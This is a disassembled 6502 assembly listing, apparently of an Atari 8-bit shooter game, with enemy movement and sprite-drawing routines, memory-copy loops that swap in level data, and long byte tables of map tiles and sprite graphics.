lda ENEMY_MOV_TYPE+1
cmp #$03
bcc L_1F7A
lda #$00
sta ENEMY_MOV_TYPE+1
inc BIGPLANE_FIRE_TYPE
lda BIGPLANE_FIRE_TYPE
cmp #$03
bmi L_1F7A
lda #$01
sta BIGPLANE_FIRE_TYPE
L_1F7A lda #$06
sta $0668
dec ENEMY_X
lda ENEMY_X
cmp #$20
bcs L_1FA1
ldx #$00
txa
L_1F8C sta PMGFX0+3,x
sta PMGFX1,x
inx
bne L_1F8C
sta ENEMY_TYPE
sta ENEMY_MOV_TYPE
lda #$11
sta L_542E+1
rts
L_1FA1 sta HPOSP2
sta HPOSP3
lda BIGPLANE_FIRE_TYPE
cmp #$02
beq L_1FCE
L_1FAE ldx #$0C
L_1FB0 lda L_3E0A+5,x
sta PMGFX0+3,y
lda L_3E1A+2,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_1FB0
dey
dey
dey
dec $0668
lda $0668
bne L_1FAE
rts
L_1FCE ldx #$0C
L_1FD0 lda L_3E0A+5,x
sta PMGFX0+3,y
lda L_3E22+7,x
sta PMGFX1,y
dey
dex
cpx #$FF
bne L_1FD0
dey
dey
dey
dec $0668
lda $0668
bne L_1FCE
lda #$00
rts
.byte $00, $00, $60, $00, $05, $06, $20, $3B
.byte $9B, $82, $05, $06, $20, $3B, $9B, $8C
L_2000 .byte $AD, $5C, $06, $F0, $03, $4C, $63, $20
inc $065C
lda #$21
sta RUNSTK+1
lda #$21
sta RUNSTK
lda #$83
sta TOPSTK+1
lda #$21
sta TOPSTK
ldy #$00
L_201D lda (RUNSTK),y
sta (TOPSTK),y
cpy #$A0
bne L_202B
lda TOPSTK+1
cmp #$8F
beq L_2035
L_202B iny
bne L_201D
inc RUNSTK+1
inc TOPSTK+1
jmp L_201D
L_2035 ldx #$00
L_2037 lda L_2A54+5,x
sta L_8FDD,x
lda L_2B1C+5,x
sta L_90A5,x
lda L_2BE4+5,x
sta L_916D,x
inx
cpx #$C8
bne L_2037
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00
L_2063 lda #$00
sta $065C
lda #$A0
sta RUNSTK+1
lda #$61
sta RUNSTK
lda #$83
sta TOPSTK+1
lda #$21
sta TOPSTK
ldy #$00
L_207A lda (RUNSTK),y
sta (TOPSTK),y
cpy #$A0
bne L_2088
lda TOPSTK+1
cmp #$8F
beq L_2092
L_2088 iny
bne L_207A
inc RUNSTK+1
inc TOPSTK+1
jmp L_207A
L_2092 ldx #$00
L_2094 lda L_A998+1,x
sta L_8FDD,x
lda L_AA60+1,x
sta L_90A5,x
lda L_AB28+1,x
sta L_916D,x
inx
cpx #$C8
bne L_2094
rts
.byte $00, $00, $00, $00, $00, $30, $2C, $58
.byte $9B, $56, $0E, $11, $20, $20, $53, $54
.byte $41, $20, $33, $36, $38, $32, $39, $2C
.byte $58, $9B, $60, $0E, $11, $20, $20, $4C
.byte $44, $41, $20, $31, $31, $30, $38, $30
.byte $2C, $58, $9B, $6A, $0E, $11, $20, $20
.byte $53, $54, $41, $20, $33, $37, $30, $32
.byte $39, $2C, $58, $9B, $74, $0E, $11, $20
.byte $20, $4C, $44, $41, $20, $31, $31, $32
.byte $38, $30, $2C, $58, $9B, $7E, $0E, $11
.byte $20, $20, $53, $54, $41, $20, $33, $37
.byte $32, $32, $39, $2C, $58, $9B, $88, $0E
.byte $11, $20, $20, $4C, $44, $41, $20, $31
.byte $31, $34, $38, $30, $2C, $58, $9B, $92
.byte $0E, $11, $20, $20, $53, $39, $39, $3A
.byte $39, $39, $49, $4A, $0C, $4A, $4B, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $3A
.byte $3A, $3A, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $49, $15, $3A, $49, $4A
.byte $0C, $4A, $4A, $14, $15, $14, $19, $0C
.byte $4A, $4B, $3A, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $49, $4A, $4A
.byte $4A, $4B, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $49, $4A, $0C, $15, $49, $0C, $19
.byte $15, $14, $15, $14, $15, $14, $15, $19
.byte $0C, $50, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $49, $4A, $4A, $0C, $0C, $0C, $14
.byte $19, $0C, $4B, $3A, $39, $3A, $49, $4A
.byte $4A, $0C, $14, $15, $15, $14, $15, $14
.byte $15, $14, $15, $14, $16, $16, $15, $15
.byte $19, $4A, $4B, $39, $3A, $39, $49, $4A
.byte $4A, $0C, $14, $15, $14, $15, $14, $15
.byte $14, $19, $0C, $4A, $4A, $4A, $0C, $15
.byte $14, $15, $14, $15, $15, $14, $15, $14
.byte $15, $16, $16, $15, $14, $14, $16, $15
.byte $15, $19, $0C, $4A, $0C, $4A, $0C, $0C
.byte $14, $15, $16, $14, $15, $14, $16, $14
.byte $15, $14, $19, $0C, $0C, $14, $16, $14
.byte $15, $14, $16, $15, $15, $15, $14, $15
.byte $16, $15, $15, $14, $16, $16, $15, $14
.byte $14, $18, $19, $19, $0C, $0C, $14, $14
.byte $15, $14, $15, $15, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $15, $15, $14
.byte $16, $16, $15, $14, $19, $64, $65, $16
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $16
.byte $16, $15, $14, $15, $16, $76, $15, $14
.byte $16, $19, $66, $67, $14, $16, $14, $15
.byte $16, $14, $19, $14, $15, $16, $14, $15
.byte $14, $16, $19, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $15, $15, $14, $15
.byte $14, $16, $14, $15, $16, $68, $69, $14
.byte $15, $14, $77, $15, $15, $15, $15, $14
.byte $16, $15, $15, $16, $14, $15, $14, $15
L_227C .byte $14, $14, $14, $15, $16, $15, $19, $64
.byte $65, $16, $14, $14, $15, $16, $16, $16
.byte $16, $16, $14, $15, $15, $14, $15, $14
.byte $6A, $6B, $15, $15, $14, $14, $14, $15
.byte $6C, $6F, $14, $15, $14, $15, $14, $16
.byte $14, $15, $14, $16, $16, $14, $15, $14
.byte $16, $66, $67, $14, $15, $14, $15, $16
.byte $14, $16, $14, $15, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $14, $19
.byte $6C, $3A, $6F, $14, $15, $14, $16, $14
.byte $15, $14, $16, $14, $16, $16, $16, $15
.byte $14, $16, $14, $15, $15, $15, $64, $14
.byte $16, $66, $67, $14, $14, $15, $16, $14
.byte $15, $16, $15, $14, $15, $14, $19, $6C
.byte $39, $3A, $39, $6F, $14, $15, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $68, $69
.byte $16, $15, $6B, $15, $16, $14, $15, $14
.byte $15, $16, $16, $15, $14, $19, $6C, $3A
.byte $39, $39, $3A, $39, $72, $14, $14, $15
.byte $14, $16, $19, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $15, $16, $15, $14
.byte $14, $14, $15, $16, $15, $16, $15, $15
.byte $16, $15, $14, $15, $19, $70, $39, $3A
.byte $39, $3A, $39, $3A, $6E, $6D, $6E, $6D
.byte $6E, $6F, $14, $15, $16, $14, $15, $16
.byte $16, $15, $14, $16, $15, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $14, $70, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $71, $14, $15, $16, $15, $16, $15
.byte $14, $15, $14, $15, $15, $19, $14, $15
.byte $16, $16, $15, $14, $65, $67, $16, $15
.byte $16, $14, $15, $19, $72, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $75, $14, $15, $16, $14, $15, $14, $16
.byte $14, $15, $15, $14, $15, $18, $19, $15
.byte $19, $64, $65, $66, $14, $15, $16, $15
.byte $14, $15, $19, $6C, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $3A
.byte $6F, $16, $14, $16, $15, $16, $14, $14
.byte $15, $16, $15, $18, $15, $15, $16, $18
.byte $15, $14, $15, $14, $16, $14, $15, $14
.byte $15, $16, $15, $18, $72, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $75
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $14, $15, $15, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $16, $19, $72, $3A, $39
.byte $3A, $39, $75, $72, $3A, $39, $75, $15
.byte $16, $14, $15, $14, $16, $14, $15, $16
.byte $16, $16, $15, $14, $15, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $16, $15, $14, $15, $72, $73
.byte $74, $75, $14, $19, $72, $75, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $16, $15, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $19, $18, $14, $15, $16, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $14, $15, $15, $15, $16
.byte $16, $14, $15, $14, $16, $16, $15, $14
.byte $14, $14, $14, $18, $19, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $16, $14
.byte $15, $15, $15, $14, $16, $15, $14, $16
.byte $15, $14, $16, $14, $15, $14, $14, $14
.byte $15, $16, $18, $18, $19, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $14, $15, $15, $14, $15, $14
.byte $15, $14, $15, $14, $16, $16, $15, $15
.byte $14, $15, $14, $15, $16, $14, $15, $14
.byte $14, $15, $15, $14, $15, $16, $14, $15
.byte $14, $1C, $64, $65, $66, $1C, $65, $67
.byte $14, $15, $14, $15, $15, $14, $15, $14
.byte $15, $16, $16, $15, $14, $14, $16, $15
.byte $15, $14, $15, $14, $15, $16, $14, $15
.byte $14, $15, $16, $14, $15, $14, $16, $14
.byte $15, $14, $76, $14, $15, $16, $19, $14
.byte $15, $14, $16, $15, $15, $15, $14, $15
.byte $16, $15, $15, $14, $16, $16, $15, $14
.byte $14, $18, $14, $14, $15, $16, $14, $15
.byte $15, $14, $15, $15, $15, $14, $15, $14
.byte $15, $14, $76, $1C, $1B, $1A, $1B, $77
.byte $15, $14, $15, $14, $15, $15, $15, $14
.byte $16, $16, $15, $14, $14, $15, $6C, $6D
.byte $6D, $6E, $6F, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $19, $76, $14, $15, $19, $14
.byte $15, $14, $15, $14, $15, $14, $15, $16
.byte $16, $15, $6C, $6D, $6D, $6E, $3A, $39
.byte $3A, $39, $3A, $6D, $6E, $6F, $14, $15
.byte $16, $14, $19, $14, $15, $16, $14, $15
.byte $14, $16, $19, $68, $1A, $6A, $6B, $15
.byte $14, $16, $14, $15, $15, $15, $14, $15
.byte $6C, $6E, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $6D, $6E
.byte $6F, $15, $15, $16, $14, $15, $14, $15
.byte $14, $14, $14, $15, $16, $15, $16, $14
.byte $15, $16, $14, $14, $15, $16, $16, $16
.byte $72, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $71, $15, $14, $15, $14, $15, $14, $16
.byte $14, $15, $14, $16, $16, $14, $15, $14
.byte $16, $15, $14, $14, $15, $14, $15, $16
.byte $6C, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $6C, $6D, $6E, $6F, $14, $16, $14
.byte $15, $14, $16, $14, $16, $16, $16, $15
.byte $14, $16, $14, $15, $15, $15, $15, $14
.byte $72, $73, $74, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $6C, $6D, $6F
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $16
.byte $16, $15, $14, $72, $73, $3A, $39, $3A
.byte $39, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $6E, $6F, $19, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $15, $16, $15, $14
.byte $14, $14, $15, $16, $15, $72, $73, $75
.byte $14, $15, $72, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $73, $74, $75, $73, $74
.byte $75, $14, $15, $16, $15, $14, $15, $16
.byte $16, $15, $14, $16, $15, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $72, $73, $74, $6F, $6C
.byte $74, $75, $14, $15, $16, $14, $15, $16
.byte $14, $15, $14, $16, $64, $65, $1C, $66
.byte $67, $15, $14, $15, $15, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $14, $16, $14, $15
.byte $14, $16, $15, $16, $76, $14, $15, $1B
.byte $77, $15, $15, $14, $15, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $14, $15, $16, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $15, $16, $14, $15, $15, $16, $14, $14
.byte $15, $16, $15, $18, $15, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $14, $16, $14, $15
.byte $16, $14, $15, $14, $16, $68, $69, $14
.byte $6B, $14, $14, $15, $15, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $16, $19, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $15
.byte $16, $14, $15, $14, $16, $14, $15, $16
.byte $16, $16, $15, $14, $15, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $16, $15, $14, $15, $16, $19
.byte $15, $14, $16, $14, $15, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $16, $15, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $19, $18, $14, $15, $16, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $14, $14, $15, $15, $16
.byte $16, $14, $15, $14, $16, $16, $15, $14
.byte $14, $14, $14, $18, $19, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $16, $14
.byte $15, $15, $15, $14, $16, $15, $14, $16
.byte $15, $14, $16, $14, $14, $14, $14, $14
.byte $15, $16, $18, $18, $19, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $14, $15, $14, $14, $15, $14
.byte $15, $14, $15, $14, $16, $16, $15, $15
.byte $14, $15, $14, $15, $16, $14, $15, $14
.byte $14, $15, $15, $14, $15, $16, $14, $15
.byte $14, $1C, $14, $15, $16, $14, $15, $15
.byte $14, $15, $14, $15, $14, $14, $15, $14
.byte $15, $16, $16, $15, $14, $14, $16, $15
.byte $15, $14, $15, $14, $15, $16, $14, $15
.byte $14, $15, $16, $14, $15, $14, $16, $14
.byte $15, $14, $14, $15, $16, $14, $16, $14
.byte $15, $14, $16, $15, $14, $15, $14, $15
.byte $16, $15, $15, $14, $16, $16, $15, $14
.byte $14, $18, $14, $15, $14, $15, $14, $14
.byte $15, $14, $15, $15, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $14, $15, $15, $14
.byte $16, $16, $15, $14, $14, $15, $6C, $6D
.byte $6D, $6E, $6F, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $14, $14, $15, $16
.byte $16, $15, $6C, $6D, $6D, $6E, $3A, $39
.byte $3A, $39, $3A, $6D, $6E, $6F, $14, $15
.byte $16, $14, $19, $14, $15, $16, $14, $15
.byte $14, $16, $19, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $14, $15, $14, $15
.byte $6C, $6E, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $6D, $6E
.byte $6F, $15, $15, $16, $14, $15, $14, $15
.byte $14, $14, $14, $15, $16, $15, $16, $14
.byte $15, $16, $14, $14, $14, $16, $16, $16
.byte $72, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $71, $15, $14, $15, $14, $15, $14, $16
.byte $14, $15, $14, $16, $16, $14, $15, $14
.byte $16, $15, $14, $14, $14, $14, $15, $16
.byte $6C, $39, $3A, $39, $3A, $39, $3A, $39
.byte $72, $73, $74, $39, $3A, $39, $74, $75
.byte $14, $15, $16, $14, $15, $16, $14, $15
.byte $15, $14, $16, $14, $16, $16, $16, $15
.byte $14, $16, $14, $15, $14, $15, $15, $14
.byte $72, $73, $3A, $39, $3A, $73, $74, $73
.byte $14, $15, $16, $14, $15, $14, $14, $15
.byte $16, $14, $15, $14, $15, $16, $14, $15
.byte $14, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $14, $14, $15, $16
.byte $16, $15, $72, $73, $75, $16, $14, $15
.byte $14, $15, $16, $14, $15, $14, $16, $14
.byte $15, $14, $16, $14, $15, $16, $14, $15
.byte $14, $16, $19, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $14, $16, $15, $14
.byte $14, $14, $15, $16, $15, $14, $15, $14
.byte $16, $14, $15, $14, $15, $14, $15, $14
.byte $16, $14, $15, $14, $16, $15, $14, $16
.byte $14, $15, $15, $16, $15, $14, $15, $16
.byte $16, $15, $14, $16, $14, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $16, $14, $15, $16
.byte $14, $15, $14, $16, $16, $15, $16, $15
.byte $14, $15, $14, $15, $14, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $14, $16, $14, $15
.byte $14, $16, $15, $16, $14, $15, $14, $16
.byte $14, $15, $15, $14, $14, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $14, $15, $16, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $15, $16, $14, $17, $15, $16, $14, $14
.byte $15, $16, $15, $18, $14, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $14, $16, $14, $15
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $14, $15, $14, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $16, $19, $14, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $15
.byte $16, $14, $15, $14, $16, $14, $15, $16
L_2A54 .byte $16, $16, $15, $14, $14, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $16, $15, $14, $15, $16, $19
.byte $15, $14, $16, $14, $15, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $15, $16, $14, $14, $15, $16
.byte $14, $16, $14, $15, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $14, $19
.byte $0C, $0C, $0C, $14, $15, $14, $16, $14
.byte $15, $14, $16, $14, $16, $16, $16, $15
.byte $14, $16, $14, $15, $15, $15, $15, $14
.byte $16, $16, $15, $14, $14, $15, $16, $16
.byte $15, $14, $15, $14, $15, $19, $1C, $0C
.byte $0C, $0C, $0C, $0C, $0C, $1B, $14, $14
.byte $15, $14, $15, $14, $15, $14, $15, $14
.byte $15, $14, $15, $14, $15, $14, $15, $16
.byte $16, $15, $14, $15, $16, $14, $15, $14
.byte $16, $14, $16, $15, $19, $0C, $0C, $0C
.byte $1A, $14, $15, $19, $0C, $0C, $0C, $14
.byte $14, $16, $19, $14, $15, $16, $14, $15
.byte $14, $16, $14, $15, $15, $16, $15, $14
.byte $14, $14, $15, $16, $15, $16, $15, $15
.byte $16, $15, $14, $15, $19, $0C, $0C, $1B
.byte $14, $15, $16, $14, $19, $0C, $0C, $0C
.byte $14, $15, $16, $15, $16, $14, $15, $16
L_2B1C .byte $16, $15, $14, $16, $15, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $14, $19, $0C, $0C, $0C, $1B
.byte $14, $15, $16, $1C, $0C, $0C, $0C, $14
.byte $15, $16, $14, $16, $15, $16, $14, $14
.byte $15, $16, $14, $15, $15, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $18, $0C, $0C, $0C, $0C
.byte $1B, $14, $1C, $0C, $0C, $0C, $14, $15
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $16, $14, $14, $15, $15, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $16, $19, $0C, $0C, $0C
.byte $0C, $0C, $0C, $0C, $0C, $14, $14, $15
.byte $16, $14, $15, $14, $16, $14, $15, $16
.byte $16, $16, $15, $14, $15, $18, $19, $15
.byte $14, $16, $16, $15, $14, $15, $16, $15
.byte $14, $15, $16, $15, $14, $15, $1C, $0C
.byte $0C, $0C, $0C, $14, $16, $14, $15, $14
.byte $16, $14, $15, $16, $14, $15, $14, $16
.byte $14, $15, $16, $16, $15, $15, $16, $18
.byte $15, $16, $14, $15, $16, $14, $16, $14
.byte $15, $16, $15, $14, $14, $1C, $0C, $15
.byte $16, $14, $15, $16, $14, $15, $14, $16
.byte $14, $15, $14, $16, $14, $15, $16, $15
L_2BE4 .byte $14, $15, $14, $15, $15, $19, $14, $15
.byte $16, $16, $15, $14, $14, $15, $16, $15
.byte $16, $14, $15, $14, $1C, $0C, $15, $16
.byte $14, $15, $14, $16, $14, $15, $14, $16
.byte $14, $15, $15, $16, $14, $15, $14, $16
.byte $14, $15, $15, $14, $15, $4E, $4F, $4F
.byte $4F, $0C, $14, $15, $14, $15, $16, $15
.byte $19, $0C, $0C, $0C, $0C, $14, $15, $14
.byte $16, $14, $15, $14, $16, $14, $15, $14
.byte $19, $0C, $0C, $14, $15, $16, $14, $14
.byte $15, $16, $15, $18, $15, $3A, $39, $3A
.byte $39, $4E, $4F, $4F, $4F, $0C, $14, $19
.byte $0C, $0C, $4F, $4F, $4F, $0C, $0C, $14
.byte $16, $14, $15, $14, $19, $0C, $0C, $0C
.byte $0C, $4F, $4F, $0C, $14, $14, $15, $14
.byte $16, $14, $14, $15, $15, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $4E, $4F, $4F
.byte $4F, $4D, $3A, $39, $3A, $4E, $4F, $4F
.byte $0C, $14, $19, $0C, $0C, $4F, $4F, $4F
.byte $4D, $39, $3A, $4E, $4F, $4F, $0C, $14
.byte $16, $16, $15, $14, $15, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $4E, $4F, $4F, $4F, $4D, $39, $3A, $39
.byte $39, $3A, $39, $3A, $39, $3A, $4E, $4F
.byte $4F, $4F, $4F, $4F, $15, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $15, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_2EFC .byte $00, $00, $00, $00, $00, $38, $6C, $38
.byte $54, $38, $10, $7C, $BA, $BA, $6C, $92
L_2F0C .byte $6C, $10, $10, $00, $00, $00, $00, $10
.byte $00, $28, $00, $00, $00, $44, $44, $10
L_2F1C .byte $00, $10, $00, $00, $70, $00, $00, $00
.byte $10, $00, $28, $00, $00, $00, $44, $44
.byte $10, $00, $10, $00, $00, $1C, $00, $24
.byte $FF, $BD, $FF, $66, $24, $18, $00, $00
.byte $00, $00, $18, $00, $00, $81, $00, $00
.byte $42, $00, $18, $18, $00, $00, $1C, $00
.byte $00, $18, $00, $00, $42, $00, $00, $42
L_2F54 .byte $00, $18, $18, $00, $00, $20, $00, $00
.byte $18, $18, $98, $98, $94, $6A, $6A, $94
L_2F64 .byte $98, $98, $18, $18, $00, $00, $00, $00
.byte $00, $00, $01, $09, $95, $94, $08, $00
L_2F74 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $08, $94, $95, $09, $01, $00
L_2F84 .byte $00, $00, $00, $00, $00, $18, $18, $19
.byte $19, $29, $56, $56, $29, $19, $19, $18
L_2F94 .byte $18, $00, $00, $00, $00, $00, $00, $80
.byte $90, $A9, $29, $10, $00, $00, $00, $00
L_2FA4 .byte $00, $00, $00, $00, $00, $00, $00, $10
